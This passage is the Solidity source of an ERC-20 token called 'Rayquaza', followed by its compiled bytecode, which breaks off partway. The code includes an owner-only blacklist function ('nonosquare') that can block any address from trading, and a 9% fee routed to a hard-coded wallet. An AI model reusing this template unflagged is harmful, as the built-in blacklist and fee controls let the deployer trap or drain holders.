function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Rayquaza is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 800000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Rayquaza";
string private constant _symbol = "Rayquaza";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x2644C3573829D38a858709bFEEc108515141CcbD);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(3).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e98565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906129bb565b6104b4565b60405161018e9190612e7d565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061303a565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129f7565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d919061296c565b610633565b60405161021f9190612e7d565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906128de565b61070c565b005b34801561025d57600080fd5b506102666107fc565b60405161027391906130af565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612a38565b610805565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a8a565b6108b7565b005b3480156102da57600080fd5b506102e3610991565b005b3480156102f157600080fd5b5061030c600480360381019061030791906128de565b610a03565b604051610319919061303a565b60405180910390f35b34801561032e57600080fd5b50610337610a54565b005b34801561034557600080fd5b5061034e610ba7565b005b34801561035c57600080fd5b50610365610c5e565b6040516103729190612daf565b60405180910390f35b34801561038757600080fd5b50610390610c87565b60405161039d9190612e98565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906129bb565b610cc4565b6040516103da9190612e7d565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a8a565b610ce2565b005b34801561041857600080fd5b50610421610dbc565b005b34801561042f57600080fd5b50610438610e36565b005b34801561044657600080fd5b50610461600480360381019061045c9190612930565b6113ef565b60405161046e919061303a565b60405180910390f35b60606040518060400160405280600881526020017f5261797175617a61000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611476565b848461147e565b6001905092915050565b6000682b5e3af16b18800000905090565b6104eb611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f7a565b60405180910390fd5b60005b815181101561062f576001600660008484815181106105c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062790613350565b91505061057b565b5050565b6000610640848484611649565b6107018461064c611476565b6106fc8560405180606001604052806028815260200161377360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b2611476565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdc9092919063ffffffff16565b61147e565b600190509392505050565b610714611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079890612f7a565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080d611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612f7a565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108bf611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094390612f7a565b60405180910390fd5b6000811161095957600080fd5b610988606461097a83682b5e3af16b18800000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d2611476565b73ffffffffffffffffffffffffffffffffffffffff16146109f257600080fd5b6000479050610a0081611e05565b50565b6000610a4d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e71565b9050919050565b610a5c611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090612f7a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610baf611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612f7a565b60405180910390fd5b682b5e3af16b18800000600f81905550682b5e3af16b18800000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5261797175617a61000000000000000000000000000000000000000000000000815250905090565b6000610cd8610cd1611476565b8484611649565b6001905092915050565b610cea611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90612f7a565b60405180910390fd5b60008111610d8457600080fd5b610db36064610da583682b5e3af16b18800000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd611476565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000610e2830610a03565b9050610e3381611edf565b50565b610e3e611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290612f7a565b60405180910390fd5b600e60149054906101000a900460ff1615610f1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f129061301a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fab30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16682b5e3af16b1880000061147e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff157600080fd5b505afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110299190612907565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108b57600080fd5b505afa15801561109f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c39190612907565b6040518363ffffffff1660e01b81526004016110e0929190612dca565b602060405180830381600087803b1580156110fa57600080fd5b505af115801561110e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111329190612907565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111bb30610a03565b6000806111c6610c5e565b426040518863ffffffff1660e01b81526004016111e896959493929190612e1c565b6060604051808303818588803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061123a9190612ab3565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112a360646112956002682b5e3af16b18800000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b600f819055506112d960646112cb6003682b5e3af16b18800000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611399929190612df3565b602060405180830381600087803b1580156113b357600080fd5b505af11580156113c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113eb9190612a61565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e590612ffa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612f1a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163c919061303a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090612eba565b60405180910390fd5b6000811161176c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176390612f9a565b60405180910390fd5b6000600a819055506009600b81905550611784610c5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117f257506117c2610c5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ccc57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561189b5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118a457600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561194f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119bd5750600e60179054906101000a900460ff165b15611afb57600f54811115611a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fe90612eda565b60405180910390fd5b60105481611a1484610a03565b611a1e9190613170565b1115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690612fda565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aaa57600080fd5b601e42611ab79190613170565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ba65750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bfc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c12576000600a819055506009600b819055505b6000611c1d30610a03565b9050600e60159054906101000a900460ff16158015611c8a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca25750600e60169054906101000a900460ff165b15611cca57611cb081611edf565b60004790506000811115611cc857611cc747611e05565b5b505b505b611cd78383836121d9565b505050565b6000838311158290611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b9190612e98565b60405180910390fd5b5060008385611d339190613251565b9050809150509392505050565b600080831415611d535760009050611db5565b60008284611d6191906131f7565b9050828482611d7091906131c6565b14611db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da790612f5a565b60405180910390fd5b809150505b92915050565b6000611dfd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e9565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e6d573d6000803e3d6000fd5b5050565b6000600854821115611eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eaf90612efa565b60405180910390fd5b6000611ec261224c565b9050611ed78184611dbb90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f3d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f6b5781602001602082028036833780820191505090505b5090503081600081518110611fa9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561204b57600080fd5b505afa15801561205f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120839190612907565b816001815181106120bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061212430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461147e565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612188959493929190613055565b600060405180830381600087803b1580156121a257600080fd5b505af11580156121b6573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121e4838383612277565b505050565b60008083118290612230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122279190612e98565b60405180910390fd5b506000838561223f91906131c6565b9050809150509392505050565b6000806000612259612442565b915091506122708183611dbb90919063ffffffff16565b9250505090565b600080600080600080612289876124a4565b9550955095509550955095506122e786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c8816125b4565b6123d28483612671565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161242f919061303a565b60405180910390a3505050505050505050565b600080600060085490506000682b5e3af16b188000009050612478682b5e3af16b18800000600854611dbb90919063ffffffff16565b82101561249757600854682b5e3af16b188000009350935050506124a0565b81819350935050505b9091565b60008060008060008060008060006124c18a600a54600b546126ab565b92509250925060006124d161224c565b905060008060006124e48e878787612741565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061254e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cdc565b905092915050565b60008082846125659190613170565b9050838110156125aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a190612f3a565b60405180910390fd5b8091505092915050565b60006125be61224c565b905060006125d58284611d4090919063ffffffff16565b905061262981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126868260085461250c90919063ffffffff16565b6008819055506126a18160095461255690919063ffffffff16565b6009819055505050565b6000806000806126d760646126c9888a611d4090919063ffffffff16565b611dbb90919063ffffffff16565b9050600061270160646126f3888b611d4090919063ffffffff16565b611dbb90919063ffffffff16565b9050600061272a8261271c858c61250c90919063ffffffff16565b61250c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061275a8589611d4090919063ffffffff16565b905060006127718689611d4090919063ffffffff16565b905060006127888789611d4090919063ffffffff16565b905060006127b1826127a3858761250c90919063ffffffff16565b61250c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127dd6127d8846130ef565b6130ca565b905080838252602082019050828560208602820111156127fc57600080fd5b60005b8581101561282c57816128128882612836565b8452602084019350602083019250506001810190506127ff565b5050509392505050565b6000813590506128458161372d565b92915050565b60008151905061285a8161372d565b92915050565b600082601f83011261287157600080fd5b81356128818482602086016127ca565b91505092915050565b60008135905061289981613744565b92915050565b6000815190506128ae81613744565b92915050565b6000813590506128c38161375b565b92915050565b6000815190506128d88161375b565b92915050565b6000602082840312156128f057600080fd5b60006128fe84828501612836565b91505092915050565b60006020828403121561291957600080fd5b60006129278482850161284b565b91505092915050565b6000806040838503121561294357600080fd5b600061295185828601612836565b925050602061296285828601612836565b9150509250929050565b60008060006060848603121561298157600080fd5b600061298f86828701612836565b93505060206129a086828701612836565b92505060406129b1868287016128b4565b9150509250925092565b600080604083850312156129ce57600080fd5b60006129dc85828601612836565b92505060206129ed858286016128b4565b9150509250929050565b600060208284031215612a0957600080fd5b600082013567ffffffffffffffff811115612a2357600080fd5b612a2f84828501612860565b91505092915050565b600060208284031215612a4a57600080fd5b6000612a588482850161288a565b91505092915050565b600060208284031215612a7357600080fd5b6000612a818482850161289f565b91505092915050565b600060208284031215612a9c57600080fd5b6000612aaa848285016128b4565b91505092915050565b600080600060608486031215612ac857600080fd5b6000612ad6868287016128c9565b9350506020612ae7868287016128c9565b9250506040612af8868287016128c9565b9150509250925092565b6000612b0e8383612b1a565b60208301905092915050565b612b2381613285565b82525050565b612b3281613285565b82525050565b6000612b438261312b565b612b4d818561314e565b9350612b588361311b565b8060005b83811015612b89578151612b708882612b02565b9750612b7b83613141565b925050600181019050612b5c565b5085935050505092915050565b612b9f81613297565b82525050565b612bae816132da565b82525050565b6000612bbf82613136565b612bc9818561315f565b9350612bd98185602086016132ec565b612be281613426565b840191505092915050565b6000612bfa60238361315f565b9150612c0582613437565b604082019050919050565b6000612